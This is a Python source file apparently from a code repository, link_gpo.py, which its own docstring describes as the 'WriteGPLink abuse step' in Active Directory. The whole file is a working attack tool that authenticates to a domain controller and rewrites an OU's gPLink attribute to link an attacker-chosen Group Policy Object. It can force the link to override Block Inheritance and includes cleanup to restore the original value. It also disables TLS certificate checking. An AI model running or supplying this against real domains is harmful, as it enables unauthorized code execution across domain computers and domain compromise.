Repository navigation
Expand file tree
/
Copy pathlink_gpo.py
More file actions
161 lines (128 loc) · 6.18 KB
/
Copy pathlink_gpo.py
File metadata and controls
161 lines (128 loc) · 6.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3
"""
link_gpo.py - Set gPLink on a target OU to link a GPO.
This is the WriteGPLink abuse step.
Usage:
python3 link_gpo.py -u USER -p 'PASS' -d example.local -dc 192.0.2.10 --list-ous
python3 link_gpo.py -u USER -p 'PASS' -d example.local -dc 192.0.2.10 --gpo-guid "{GUID}" --target-ou "OU=Workstations,DC=example,DC=local"
python3 link_gpo.py -u USER -p 'PASS' -d example.local -dc 192.0.2.10 --gpo-guid "{GUID}" --target-ou "OU=..." --enforced
python3 link_gpo.py -u USER -p 'PASS' -d example.local -dc 192.0.2.10 --restore --target-ou "OU=..." --original-gplink "<saved value>"
Link flags in gPLink:
;0 = Enabled, not enforced
;1 = Disabled
;2 = Enabled, ENFORCED (overrides Block Inheritance on child OUs)
"""
import sys
import argparse
from ldap3 import Server, Connection, NTLM, ALL, MODIFY_REPLACE, BASE, SUBTREE, Tls
import ssl
def connect(dc_ip, domain, username, password):
bind_user = f"{domain}\\{username}"
tls = Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLS_CLIENT)
srv = Server(dc_ip, port=636, use_ssl=True, tls=tls, get_info=ALL)
conn = Connection(srv, user=bind_user, password=password,
authentication=NTLM, auto_bind=True)
print(f"[+] Bound as {bind_user} (LDAPS)")
return conn
def domain_to_base_dn(domain):
"""Convert domain like example.local to DC=example,DC=local"""
return ",".join(f"DC={part}" for part in domain.split("."))
def make_gplink_value(gpo_guid, base_dn, enforced=False):
guid_str = gpo_guid.upper()
if not guid_str.startswith("{"):
guid_str = "{" + guid_str + "}"
flag = 2 if enforced else 0
return f"[LDAP://CN={guid_str},CN=Policies,CN=System,{base_dn};{flag}]"
def list_ous(conn, base_dn):
conn.search(base_dn, "(objectClass=organizationalUnit)", SUBTREE,
attributes=["distinguishedName", "name", "gPLink", "gPOptions"])
print("\n[*] OUs and current gPLink values:")
for e in conn.entries:
gplink = str(e.gPLink) if e.gPLink else "(none)"
opts = str(e.gPOptions) if e.gPOptions else "0"
blocked = " [!] Block Inheritance" if opts == "1" else ""
print(f" {e.name}")
print(f" DN : {e.distinguishedName}")
print(f" gPLink : {gplink}")
print(f" gPOpts : {opts}{blocked}")
print()
def get_existing_gplink(conn, ou_dn):
conn.search(ou_dn, "(objectClass=*)", BASE, attributes=["gPLink"])
if conn.entries and conn.entries[0].gPLink:
return str(conn.entries[0].gPLink)
return None
def link_gpo(conn, gpo_guid, target_ou, base_dn, enforced=False):
gplink_val = make_gplink_value(gpo_guid, base_dn, enforced)
existing = get_existing_gplink(conn, target_ou)
if existing and existing.strip():
print(f"[*] OU already has gPLink: {existing}")
print(f"[*] Appending our GPO (preserving existing links)")
new_val = existing.rstrip() + gplink_val
else:
new_val = gplink_val
print(f"\n[*] Target OU : {target_ou}")
print(f"[*] GPLink val : {new_val}")
print(f"[*] Enforced : {enforced}")
result = conn.modify(target_ou, {"gPLink": [(MODIFY_REPLACE, [new_val])]})
if result:
print(f"\n[+] gPLink set successfully!")
print(f"[!] SAVE THIS for cleanup: --original-gplink \"{existing or ''}\"")
print(f"\n[*] GP applies on next refresh cycle (~90 min default) or")
print(f" gpupdate /force if you already have a shell")
else:
desc = conn.result.get("description", "")
code = conn.result.get("result", -1)
print(f"\n[-] Failed: {desc} (code {code})")
if code == 50:
print("[!] Insufficient access — verify WriteGPLink ACE is on this exact OU DN")
return False
return True
def restore_gplink(conn, target_ou, original_value):
if original_value:
result = conn.modify(target_ou, {"gPLink": [(MODIFY_REPLACE, [original_value])]})
else:
result = conn.modify(target_ou, {"gPLink": [(MODIFY_REPLACE, [])]})
if result:
print(f"[+] gPLink restored on {target_ou}")
else:
print(f"[-] Restore failed: {conn.result.get('description', '')}")
if __name__ == "__main__":
p = argparse.ArgumentParser(
description="Link GPO to OU via WriteGPLink",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""Examples:
%(prog)s -u USER -p 'PASS' -d example.local -dc 192.0.2.10 --list-ous
%(prog)s -u USER -p 'PASS' -d example.local -dc 192.0.2.10 --gpo-guid "{GUID}" --target-ou "OU=Workstations,DC=example,DC=local"
%(prog)s -u USER -p 'PASS' -d example.local -dc 192.0.2.10 --restore --target-ou "OU=..." --original-gplink "<value>"
""",
)
# Auth args
p.add_argument("-u", "--username", required=True, help="Domain username")
p.add_argument("-p", "--password", required=True, help="Password")
p.add_argument("-d", "--domain", required=True, help="Domain (e.g., example.local)")
p.add_argument("-dc-ip", required=True, dest="dc_ip", help="Domain controller IP")
# Action args
p.add_argument("--gpo-guid", default=None, help="GPO GUID to link")
p.add_argument("--target-ou", default=None, help="Target OU distinguished name")
p.add_argument("--enforced", action="store_true",
help="Flag ;2 — overrides Block Inheritance")
p.add_argument("--list-ous", action="store_true", help="List all OUs and their gPLink values")
p.add_argument("--restore", action="store_true", help="Restore original gPLink value")
p.add_argument("--original-gplink", default="",
help="Saved gPLink value to restore")
args = p.parse_args()
base_dn = domain_to_base_dn(args.domain)
conn = connect(args.dc_ip, args.domain, args.username, args.password)
if args.list_ous:
list_ous(conn, base_dn)
sys.exit(0)
if not args.target_ou:
print("[-] --target-ou required")
sys.exit(1)
if args.restore:
restore_gplink(conn, args.target_ou, args.original_gplink)
sys.exit(0)
if not args.gpo_guid:
print("[-] --gpo-guid required")
sys.exit(1)
link_gpo(conn, args.gpo_guid, args.target_ou, base_dn, enforced=args.enforced)